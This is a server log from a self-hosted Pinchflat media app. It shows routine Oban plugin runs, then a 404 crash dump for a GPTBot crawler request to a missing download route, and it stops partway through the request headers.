{"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:59.029 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.117 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:29.031 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:59.033 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.118 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:29.035 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:59.037 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.119 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:29.039 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:59.041 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.120 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:29.043 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:59.045 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.121 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:29.047 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:59.049 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.122 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:29.051 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:59.054 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.123 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:29.056 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:59.058 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.124 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:29.060 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:59.062 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.125 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:29.064 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:59.066 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.126 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:29.068 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:59.070 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.127 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:29.072 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:59.074 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.128 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:29.076 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:59.078 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.129 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:29.080 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:59.082 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.130 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:29.084 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:59.086 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.131 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:29.088 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:59.090 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.132 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:29.092 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:59.094 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.133 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:29.096 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:59.098 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.134 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:29.100 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:59.101 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.135 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:29.104 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:59.106 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.136 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:29.108 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:59.110 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.137 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:29.112 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:59.114 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.138 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:29.116 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:59.118 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.139 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:29.120 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:59.122 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.140 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:29.124 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:59.126 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.141 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:29.128 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:59.130 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.142 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:29.132 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:59.134 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.143 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:29.136 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:59.138 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.144 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:29.140 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:59.142 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.145 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:29.144 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:59.146 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.146 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:29.148 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:59.150 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.147 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:29.152 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:59.154 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.148 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:29.156 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:59.158 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.149 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:29.160 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:59.162 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.150 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:29.164 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:59.166 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.151 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:29.168 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:59.170 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.152 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:29.172 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:59.174 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.153 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:29.176 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:59.178 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.154 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:29.180 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:59.182 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.155 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:29.184 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:59.186 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.156 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:29.188 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:59.190 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.157 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:29.192 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:59.194 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.158 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:29.196 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:59.198 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.159 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:29.200 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:59.202 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.160 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:29.204 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:59.206 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.161 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:29.208 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:59.210 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.162 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:29.212 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:59.214 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.163 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:29.216 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:59.218 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.164 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:29.220 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:59.222 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.165 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:29.224 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:59.226 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.166 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:29.229 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":6} 17:00:59.231 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.167 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:29.233 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:59.235 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.168 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:29.237 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:59.239 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.169 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:29.241 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:59.243 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.170 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:29.245 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:59.247 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.171 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:29.249 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:59.251 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.172 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:29.253 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:59.255 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.173 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:29.257 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:59.259 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.174 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:29.261 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:59.263 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.175 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:29.265 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:59.267 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.176 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:29.269 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:59.271 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.177 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:29.273 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:59.275 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.178 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:29.277 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:59.279 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.179 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:29.281 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:59.283 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.180 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:29.285 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:59.287 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.181 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:29.289 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:59.291 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.182 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:29.293 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:59.295 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.183 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:29.297 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:59.299 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.184 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:29.301 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:59.303 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.185 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:29.305 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:59.307 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.186 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:29.309 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:59.311 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.187 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:29.313 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:59.315 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.188 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:29.317 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:59.319 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.189 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:29.321 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:59.323 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.190 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:23.768 [info] GET /sources/3/media/3302/force_download 17:24:23.770 [debug] QUERY OK source="settings" db=0.5ms idle=1126.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:23.770 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1127.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:23.771 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:24:23.771 [error] #PID<0.260748.0> running PinchflatWeb.Endpoint (connection #PID<0.260747.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3302/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49490}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", 